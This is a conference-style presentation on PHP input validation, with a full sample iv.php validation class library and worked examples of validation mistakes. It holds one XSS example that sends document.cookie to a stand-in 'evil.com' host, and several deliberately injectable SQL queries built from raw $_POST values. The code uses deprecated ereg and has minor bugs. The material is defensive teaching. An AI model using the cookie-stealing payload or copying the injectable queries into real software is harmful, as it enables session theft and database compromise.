A Sample PHP Implementation of Input Validation

By Dan Ross, PIC Business Systems

"I don't reimburse. I validate. I listen and acknowledge how difficult it was for you to find a place to park."

What is Input Validation?

- Input Validation (IV) is the development of **rules** for checking the values of:
  - expected input
  - unexpected input
  - missing input

  and appropriate **responses** in order to:
  - protect the application
  - protect the user
  - provide the user with the best experience
  - potentially detect bugs
  - possibly even improve performance
- In legacy code, improper IV can lead to bad things such as a buffer overflow <http://nsfsecurity.pr.erau.edu/bom/Spock.html>
- In PHP, improper IV can lead to several OWASP Top Ten vulnerabilities:
  - A1 Cross-Site Scripting <http://h4k.in/xssinexcess>
  - A2 SQL injection <http://www.unixwiz.net/techtips/sql-injection.html>
  - A3 Malicious File Execution <http://milw0rm.com/exploits/3150>
- Improper IV can also lead to the famed Order/Customer/Invoice/etc #0:
  Assuming $_POST["Customer"]=0 (or "a"):

  ```
  "INSERT INTO Customer SET Customer=".$_POST["Customer"]...
  ```

- The PHP platform has some characteristics that make IV critical, including:
  - Lack of strong data typing.
  - Variable declarations

  E.g. from error log:

  ```
  [Wed May 21 11:59:29 2008] [error] Undefined index: Order in /home/html/x on line 483
  ```

- All input is suspect, not just that from the HTTP request, including:
  - Included SOAP/XML responses from other servers
  - Database query results
    Consider Blog message:

    ```
    $message = "<img width=0 height=0 src='evil.com?'+document.cookie>"
    ```

- Javascript/AJAX can perform client-side IV.
  However, this only results in a better user experience, NOT a secure application.
- Stinger, CakePHP, other PHP/PEAR, and other open-source tools for other platforms.

  DISCLAIMER: While researching this presentation, I discovered the OWASP Stinger Project.
  It is a nice tool and the author has written a discussion similar to this talk.
  <http://tinyurl.com/6fa94o>

Overview

- The approach could vary depending on the state of development.
  IV for a large, pre-existing system may be different than for one still in the Design phase.
  The approach presented below should work in either case.
- If you ARE fortunate enough to be in the Design phase, consider using strictly integer database keys whenever possible.
  This makes input validation *primarily* "intval(X)".
- Proper IV in PHP begins by turning off "register_globals".
  File "php.ini":
  ```
  register_globals = Off
  ```

  If you have register_globals turned on, variables are evaluated according to:
  ```
  variables_order = "GPCS"
  ```

- If you don't have this turned off (or can't) you can use ".htaccess" files to turn off by sub-directory, track progress.
  File ".htaccess":
  ```
  php_flag register_globals off
  ```
  GOAL: replace all variables from globals to the specific $_GET/$_POST/$_COOKIE variable.
- This technique may help those who inherit large applications which neglected IV.

Approach

- Ensure IV is taking place on every page.
  Using PHP's **auto_prepend / auto_append** options can help make it difficult for programmers to forget IV.
  Implement either in ".htaccess" or Apache:

  ```
  php_value auto_prepend_file iv.php
  ```

  This technique can be used to make the application "secure by default".
- Consider making DEV behave differently than QA/Production.
  DEV should outright fail on any IV issue,
  with an explanation printed to stdout (and/or error log), to alert the programmer/tester.
  This is:
  - The STRONGEST way to make an impression.
  - EASIEST way to track progress.

  E.g.:

  ```
  [Mon May 19 11:16:23 2008] [error] IV: setting _COOKIE[Session]=[abc]
  06]
  [Mon May 19 11:16:23 2008] [error] IV: setting _GET[Page]=[1]
  [Mon May 19 11:16:23 2008] [error] IV: setting _GET[sort]=[Wo desc]
  [Mon May 19 11:16:23 2008] [error] IV: setting _POST[ord]=[0]
  [Mon May 19 11:16:23 2008] [error] IV: setting _POST[dat]=[03/20/2008]
  [Mon May 19 11:16:23 2008] [error] IV: setting _POST[typ]=[]
  [Mon May 19 11:16:23 2008] [error] IV: REQUEST_METHOD must be GET
  ```

- Perhaps IV should precede Session Management?

After all, the session cookie is input!

- Add a function "pageIV()" at the top/bottom of every page. The sequence of validation matters!
  - Regexp Session Cookie
  - Validate Session
  - Authorize (permission)
  - Validate "snack"
  - Verify page request method (GET/POST)
  - Enumerate expected/optional GET/POST/COOKIE values/types
    NOTE: checkboxes (isset) & buttons (click vs submit by Enter in <INPUT>)!
  - Final review to look for unexpected input

  Use "grep -lrv pageIV *" to identify pages without the function.

```
function pageIV()
{
      global $IV;
      $IV = new _IV_form();
      $IV->rules(new _IV_cookie("Session")
            ,new _IV_posint ("Page",  "GP")
            ,new _IV_alnum  ("select","GP")
            ,new _IV_alnum  ("sort",  "GP")
            ,new _IV_posint ("ord",   "GP")
            ,new _IV_date   ("dat",   "GP")
            ,new _IV_date   ("da2",   "GP")
            ,new _IV_choice ("typ",   "GP",array('','F','M','P','S','Q'))
            //etc
            );
}
```

- Determine IV parameters for the page.
  Including how/whether to respond to bad input.

API

- Decide how to handle problems (deny, reject, log, email, errormessage)
  * Think firewall.
- Make different canned regexp's available.
- How to handle **<**, **&**, **'**.
  Is "a<b" (i.e. a formula) really valid?
- Problem could indicate:
  - Bug: page that presented link doesn't have same rules as target page.
  - Tampering: somebody poking around (decide whether session s/b terminated).
  - User permissions changed between the time the link was presented and the time the link was clicked.
- How you deal with problems can mess up app scanners (e.g. Acunetix).
  Best to centralize/wrap so you can easily modify the behavior when desired.
- Code:

```
<?
/*********************************************************************/
/** iv.php:  A Sample PHP Implementation of Input Validation
Dan Ross
PIC Business Systems, Inc.
*/
/*********************************************************************/
/** Sample Template:
function pageIV()
{
    global $IV;
    $IV = new _IV_form();
    $IV->rules(new _IV_cookie("UltraSession")
```

```
        ,new _IV_alnum    ("select",    "GP")
        ,new _IV_choice    ("typ",        "GP",array
('','F','M','P','S','Q'))
        ,new _IV_date    ("dat",        "GP")
        ,new _IV_posint    ("Page",    "GP")
        //etc
        );
}
*/

/*************************************************************************/
// IV constants:
$_IV_ERROR_LOG = "/var/log/error/php";

/*************************************************************************/
// Page Specifications
class _IV_page{
    ////////////////////////////////////////////////
    // properties
    var $type;    // M=Manage (default), F=Form, A=Action
    var $GET;     // $_GET[]
    var $POST;    // $_POST[]
    var $COOKIE;  // $_COOKIE[]
    var $RAW;     // $GLOBALS['HTTP_RAW_POST_DATA']
    var $ERRORS;
    var $RULES;
    var $DONE;

    ////////////////////////////////////////////////
    // constructor
    function __construct(){
        $this->set_type_manage();
        $this->GET = array();
        $this->POST = array();
        $this->COOKIE = array();
        $this->RAW = array();
        $this->ERRORS = array("expected"=>array(), "unexpected"=>array
(), "missing"=>array());
        $this->RULES = array();
        $this->DONE = false;

        foreach ($_GET as $name => $value)
{// store/unset all $_GET variables
            $this->GET[$name] = array
("name"=>$name, "value"=>$value, "expected"=>false);
            //$_GET[$name] = null;
            unset($_GET[$name]);
            }

        foreach ($_POST as $name => $value)
{// store/unset all $_POST variables
            $this->POST[$name] = array
("name"=>$name, "value"=>$value, "expected"=>false);
            //$_POST[$name] = null;
            unset($_POST[$name]);
            }

        foreach ($_COOKIE as $name => $value)
{// store/unset all $_COOKIE variables
            $this->COOKIE[$name] = array
("name"=>$name, "value"=>$value, "expected"=>false);
```

```
            //$_COOKIE[$name] = null;
            unset($_COOKIE[$name]);
            }

        if (isset($GLOBALS['HTTP_RAW_POST_DATA']))
{// store/unset all RAW data
            $this->RAW = array("value"=>$value, "expected"=>false);
            //$GLOBALS['HTTP_RAW_POST_DATA'] = null;
            unset($GLOBALS['HTTP_RAW_POST_DATA']);
            }

        /* Secure by default:  At this point, there is NO UNVALIDATED Input,
        because there is NO Input! */
    }

    ////////////////////////////////////////////////
    // destructor
    function __destruct(){
        if (!$this->DONE) error_log("IV incomplete in ".$_SERVER
["REQUEST_URI"]);
    }

    ////////////////////////////////////////////////
    // checks rules (variable # of arguments)
    function rules(){
        // every page must have valid session
        $this->RULES["UltraName"] = "UltraName";

        // validate each of the rules
        $args = func_get_args();
        $n = count($args);
        for ($i=0;$i<$n;$i++){
            $a = $args[$i];
            $a->set_parent($this);
            $a->validate();
            $this->RULES[$a->name] = $a->name;
            }

        $this->check();

        $this->DONE = true;
    }

    ////////////////////////////////////////////////
    // M=Manage (default), F=Form, A=Action
    function set_type_manage(){ $this->type = 'M'; }
    function set_type_form()  { $this->type = 'F'; }
    function set_type_action(){ $this->type = 'A'; }

    ////////////////////////////////////////////////
    // look for extra parameters, etc
    function check(){
        foreach ($this->GET as $name=>$g){
            if (!array_key_exists($name,$this->RULES))
                _IV_error_log("_GET: $name not expected!");
            }
        foreach ($this->POST as $name=>$g){
            if (!array_key_exists($name,$this->RULES))
                _IV_error_log("_POST: $name not expected!");
            }
        foreach ($this->COOKIE as $name=>$g){
```

```
            if (!array_key_exists($name,$this->RULES))
                _IV_error_log("_COOKIE: $name not expected!");
            }
        /*
        $this->RAW
        */

        switch($this->type){
            case 'M':// both GET/POST are legal
                break;
            case 'F':// method must be GET
                if (strcmp(getenv("REQUEST_METHOD"),"GET"))
                    error_log("IV: $this->type REQUEST_METHOD must be GET");
                break;
            case 'A':// method must be POST
                if (strcmp(getenv("REQUEST_METHOD"),"POST"))
                    error_log("IV: $this-
>type REQUEST_METHOD must be POST");
                break;
            }
    }

}

/*****************************************************************************/
// Form Page Specifications
class _IV_form extends _IV_page{
    // constructor
    function __construct(){
        parent::__construct();
        $this->set_type_form();
    }
}

/*****************************************************************************/
// Action Page Specifications
class _IV_action extends _IV_page{
    // constructor
    function __construct(){
        parent::__construct();
        $this->set_type_action();
    }
}

/*****************************************************************************/
// Rule Specification
class _IV_rule{
    ////////////////////////////////////////////////
    // properties
    var $parent;// _IV_page
    var $name;
    var $gpc;
    //var $type;
    var $optional;//default=yes
    var $action;

    // constructor
    function __construct($name,$gpc,$optional=true){
        $this->name = $name;
        $this->gpc = $gpc;
        $this->optional = $optional;
```

```
    }

    function set_parent($p){
        $this->parent = $p;
    }
    function validate(){
        error_log("IV: Rule has no validation!");
    }

    // methods to retrieve the value of a parameter passed to a page
    function get_value(){
        switch ($this->gpc){
            case "GP":// value may be in either $_GET or $_POST
                $r = $this->get_post_value();
                if (!is_null($r)) return $r;
                $r = $this->get_get_value();
                if (!is_null($r)) return $r;
                break;
            case "G":// value must be in $_GET
                return $this->get_get_value();
            case "P":// value must be in $_POST
                return $this->get_post_value();
            case "C":// value may be in either $_COOKIE
                return $this->get_cookie_value();
            default:
                error_log("IV.get_value: $this->gpc not a valid GPC value");
            }
        return null;
    }
    function get_get_value(){
        $p = $this->parent;
        if (array_key_exists($this->name,$p->GET))
            return $p->GET[$this->name]["value"];
        return null;
    }
    function get_post_value(){
        $p = $this->parent;
        if (array_key_exists($this->name,$p->POST))
            return $p->POST[$this->name]["value"];
        return null;
    }
    function get_cookie_value(){
        $p = $this->parent;
        if (array_key_exists($this->name,$p->COOKIE))
            return $p->COOKIE[$this->name]["value"];
        return null;
    }

    // methods for setting _GET/_POST/_COOKIE to scrubbed data
    function set_value($value){
        $p = $this->parent;
        switch ($this->gpc){
            case "GP":// value may be in either $_GET or $_POST
                if (array_key_exists($this->name,$p->POST))
                    $this->set_post($value);
                if (array_key_exists($this->name,$p->GET))
                    $this->set_get($value);
                break;
            case "G":// value must be in $_GET
                if (array_key_exists($this->name,$p->GET))
                    $this->set_get($value);
```

```
                break;
            case "P":// value must be in $_POST
                if (array_key_exists($this->name,$p->POST))
                    $this->set_post($value);
                break;
            case "C":// value must be in $_COOKIE
                if (array_key_exists($this->name,$p->COOKIE))
                    $this->set_cookie($value);
                break;
            default:  error_log("IV.set_value: $this-
>gpc not a valid GPC value");
            }
    }
    function set_get($value){
        $p = $this->parent;
        if (array_key_exists($this->name,$p->GET)){
            error_log("IV: setting _GET[$this->name]=[$value]");
            $_GET[$this->name] = $value;
            return;
            }
        if ($this->optional) return;
        // missing!
        $p->ERRORS["expected"][$this->name] = $this->name;
        _IV_error_log("$this->name is missing from GET");
    }
    function set_post($value){
        $p = $this->parent;
        if (array_key_exists($this->name,$p->POST)){
            error_log("IV: setting _POST[$this->name]=[$value]");
            $_POST[$this->name] = $value;
            return;
            }
        if ($this->optional) return;
        // missing!
        $p->ERRORS["expected"][$this->name] = $this->name;
        _IV_error_log("$this->name is missing from POST");
    }
    function set_cookie($value){
        $p = $this->parent;
        if (array_key_exists($this->name,$p->COOKIE)){
            error_log("IV: setting _COOKIE[$this->name]=[$value]");
            $_COOKIE[$this->name] = $value;
            return;
            }
        if ($this->optional) return;
        // missing!
        $p->ERRORS["expected"][$this->name] = $this->name;
        _IV_error_log("$this->name is missing from _COOKIE");
    }
    function set_raw(){
    }

    function set_optional($o){
        $this->optional = $o;
    }

}

/*************************************************************************/
// Numeric Field Specifications
```

```
// Integer
class _IV_int extends _IV_rule{
    // properties
    var $min, $max;

    // constructor
    function __construct($name,$gpc,$optional=true){
        parent::__construct($name,$gpc,$optional);
        $this->min = PHP_INT_MAX * -1;
        $this->max = PHP_INT_MAX;
    }

    function set_max($n){
        $this->max = $n;
    }
    function set_min($n){
        $this->min = $n;
    }
    function set_minmax($n1,$n2){
        $this->min = $n1;
        $this->max = $n2;
    }

    function validate(){
        $i = $this->get_value();
        if (is_null($i)){
            if (!$this->optional)
                error_log("_IV_int.validate(): $this->name is MISSING!");
            return;
            }
        $i = intval($i);
        if (!is_int($i)){
            error_log("_IV_int.validate(): $this-
>name is not an integer ($i)");
            return;
            }
        if ($i<$this->min){
            error_log("_IV_int.validate(): $this->name is below min ($this-
>min)");
            return;
            }
        if ($i>$this->max){
            error_log("_IV_int.validate(): $this->name is above min ($this-
>max)");
            return;
            }
        $this->set_value($i);
    }

}

// Positive Integer
class _IV_posint extends _IV_int{
    // constructor
    function __construct($name,$gpc,$optional=true){
        parent::__construct($name,$gpc,$optional);
        $this->min = 1;
    }
}

/*************************************************************************/
```

```
// String Field Specifications

// Alphanumeric String
class _IV_alnum extends _IV_rule{
    var $blank_ok;
    function validate(){
        $s = $this->get_value();
        if (is_null($s)){
            if (!$this->optional)
                error_log("_IV_alnum.validate(): $this->name is null");
            return;
            }
        $pattern = "^[A-Za-z0-9 ]*$";
        if (!ereg($pattern,$s)){
            error_log("_IV_alnum.validate(): $this-
>name is not Alphanumeric ($s)");
            return;
            }
        $this->set_value($s);
    }
}

// Date String
class _IV_date extends _IV_alnum{
    function validate(){
        $s = $this->get_value();
        if (is_null($s)){
            if (!$this->optional)
                error_log("_IV_date.validate(): $this->name is null");
            return;
            }
        /*
        if (strlen($s)==0){
            if (!$this->optional)
                error_log("_IV_date.validate(): $this->name is blank");
            return;
            }
        */
        $pattern = "^([0-9]{1,2})/([0-9]{1,2})/([0-9]{4})$";
        if (strlen($s) && !ereg($pattern,$s)){
            error_log("_IV_date.validate(): $this->name is not m/d/Y ($s)");
            return;
            }
        // ALSO http://us2.php.net/manual/en/function.checkdate.php
        $this->set_value($s);
    }
}

// Choicelist String (also works with Radio Buttons)
class _IV_choice extends _IV_rule{
    var $choices;

    // constructor
    function __construct($name,$gpc,$choices,$optional=true){
        parent::__construct($name,$gpc,$optional);
        $this->choices = $choices;
    }

    function validate(){
        $s = $this->get_value();
        if (is_null($s)){
```

```
            if (!$this->optional)
                error_log("_IV_choice.validate(): $this->name is null");
            return;
            }
        if (!in_array($s,$this->choices)){
            error_log("_IV_choice.validate(): $this-
>name invalid choice ($s)");
            return;
            }
        $this->set_value($s);
    }
}

/*****************************************************************************/
// Cookie Specifications

// Session Cookie
class _IV_cookie extends _IV_rule{
    // constructor
    function __construct($name){
        parent::__construct($name,"C");
        $this->set_optional(false);
    }

    function validate(){
        $s = $this->get_value();
        if (is_null($s)){
            if (!$this->optional)
                error_log("_IV_alnum.validate(): $this->name is null");
            return;
            }
        $pattern = "^[A-Za-z0-9]{64}$";
        if (!ereg($pattern,$s)){
            error_log("_IV_alnum.validate(): $this-
>name is malformed ($s)");
            return;
            }
        $this->set_value($s);
    }
}

/*****************************************************************************/
// Instantiate the Input Validation Object
/*****************************************************************************/

// IV is not built into the page - SECURE BY DEFAULT!
if (!function_exists("pageIV")){
    error_log("No 'pageIV' function in ".__FILE__);
    exit;
    }

pageIV();

/*****************************************************************************/
/*****************************************************************************/
/*****************************************************************************/
function _IV_error_log($s)
{
    //error_log($s."\n",3,$GLOBALS["_IV_ERROR_LOG"]);
    error_log($s);
}
```

```
/*****************************************************************************/
?>
```

Practical Examples

- Invoice Summary report problem - requiredField("Date")

form.php:

```
<input name='date' value='01/01/2008'>
...
<script>
function onbeforesubmit(){
     if (Form.date.length==0){
          alert('Date required');
          return false;
          }
     return true;
}
</script>
```

---

action.php:

```
$query="SELECT * from invoices where date>=".odbcDate($_POST["date"]);
```

"Good judgment comes from experience.
Experience comes from bad judgment."

- methodMustBePOST() - IE "Discuss" feature?
- Hidden fields = lazy (security/options on form doesn't match action)

form.php:

```
if ($SECURITY["offer_option"]) print "<input name='opt' value='x'>";
else print "<input type='hidden' name='opt' value='x'>";
```

---

action.php:

```
$query="UPDATE ... SET opt=".$_POST["opt"]...
```

---

action.php SHOULD BE:

```
$query="UPDATE ... SET";
if ($SECURITY["offer_option"]) $query .= "opt=".$_POST["opt"]...
```

- Checkboxes

form.php:

```
print "<input type='checkbox' name='opt'>";
```

---

action.php:

```
isset($_POST["opt"])?...
```

- OK
  Click "OK" (submit) button -> $_POST["OK"]
  Versus pressing <Enter>

Conclusion

- Google "input validation exploits" on 5/20/2008:
  519,000 results, Towards the Top:
  securityfocus.com
  Symantec products
  Cisco products
  FTPD
  Joomla
  Adobe

Apache Tomcat
- There is no question Web applications are the number one vector for attackers.
- Input validation problems are BUGS.

"Security through obscurity is putting your money under your mattress.
Security WITH obscurity is putting your money in a safe concealed behind a painting."
Dan Ross 9/27/2004

References

- http://tinyurl.com/6fa94o
  Jeff Williams treats the issue frankly and introduces the OWASP Stinger Project.

- http://www.corephp.co.uk/archives/11-php-architects-Guide-to-PHP-Security.html
  Supposedly a "nanobook". Richard's review sounds promising.

- http://us2.php.net/register_globals
  Be advised: register_globals is going away!

- http://regexlib.com/CheatSheet.aspx
  My favorite regex cheat sheet.

- http://www.securityfocus.com/archive/1/384663
  Yes, even PHP has input validation bugs!